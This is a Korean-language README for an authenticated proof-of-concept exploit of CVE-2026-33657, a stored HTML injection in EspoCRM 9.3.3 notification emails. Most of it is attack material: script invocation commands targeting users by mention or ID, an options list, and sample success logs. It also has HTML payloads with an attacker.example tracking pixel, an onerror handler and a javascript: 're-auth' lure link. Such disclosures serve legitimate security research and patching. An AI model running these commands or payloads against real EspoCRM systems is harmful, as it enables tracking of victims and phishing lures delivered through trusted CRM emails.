
EspoCRM 9.3.3 - 이메일 알림의 저장형 HTML 주입 취약점
EspoCRM 9.3.3 이메일 알림의 저장형 HTML 삽입에 대한 인증된 개념 증명(PoC)입니다.
EspoCRM 9.3.3은 스트림 노트 알림 이메일을 렌더링할 때 노트 본문을 Markdown으로 변환하고, 결과 HTML을 삼중 중괄호({{{post}}})로 이메일 템플릿에 삽입합니다. 스트림 게시물을 생성하고 알림을 트리거할 수 있는 인증된 사용자는 이후 생성된 이메일 본문에 렌더링되는 공격자 제어 HTML을 저장할 수 있습니다.
이 익스플로잇은 공격자가 제어하는 원격 부분의 흐름을 수행합니다:
/api/v1/App/user로 버전을 지문(fingerprint) 수집합니다.Note를 생성합니다.--mention 또는 --target-user-id를 사용하여 알림 대상을 큐에 추가합니다.이메일 전송은 EspoCRM의 일반 SendEmailNotifications 작업 또는 cron이 큐에 추가된 알림을 처리할 때 발생합니다.
requestsNote 레코드 생성 권한--mention <username>, 또는--target-user-id <id>의존성 설치:
python3 -m pip install requests
권장되는 멘션 기반 경로:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
사용자 지정 추적 URL 사용:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
완전히 사용자 지정 HTML 페이로드 사용:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
멘션 대신 특정 사용자 ID 대상 지정:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
노트 생성 없이 지문 수집만 수행:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url 기본 EspoCRM URL
-U, --username EspoCRM 사용자 이름
-P, --password EspoCRM 비밀번호
--mention 멘션할 사용자 이름 (@ 제외)
--target-user-id 대상 지정 스트림 게시물 알림용 사용자 ID
--target-user-name --target-user-id용 표시 이름
--payload Note에 저장할 원시 HTML 페이로드
--tracking-url 기본 페이로드에서 사용하는 추적 픽셀 URL
--link-url 기본 페이로드에서 사용하는 링크 URL
--marker 페이로드 앞에 추가되는 마커 텍스트
--detect-only 버전 지문 수집만 수행; Note를 생성하지 않음
--skip-version-check 익스플로잇 전에 /api/v1/App/user 건너뛰기
--force 버전 지문이 9.3.3이 아니어도 계속 진행
--insecure TLS 인증서 검증 비활성화
성공적인 실행은 악성 노트를 생성하고 알림 대상을 확인합니다:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
취약한 인스턴스에서 생성된 HTML 이메일 본문은 삽입된 HTML을 보존합니다. 랩 캡처는 다음과 같습니다:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
로컬 EspoCRM 랩에서 익스플로잇 실행 후 알림 작업을 트리거합니다:
sudo -u www-data php command.php run-job SendEmailNotifications
결과 이메일 본문의 text/html 부분에 삽입된 HTML이 포함되어야 합니다.
@@version을 보고하면 대상은 소스 트리 빌드일 가능성이 높습니다. 기본 코드가 여전히 취약한 9.3.3 태그일 수 있으므로 스크립트는 계속 진행합니다.--mention이 파싱된 멘션을 생성하지 않으면 공격자의 messagePermission 및 mentionPermission을 확인하고 대상 사용자 이름이 존재하며 알림을 받을 수 있는지 확인하세요.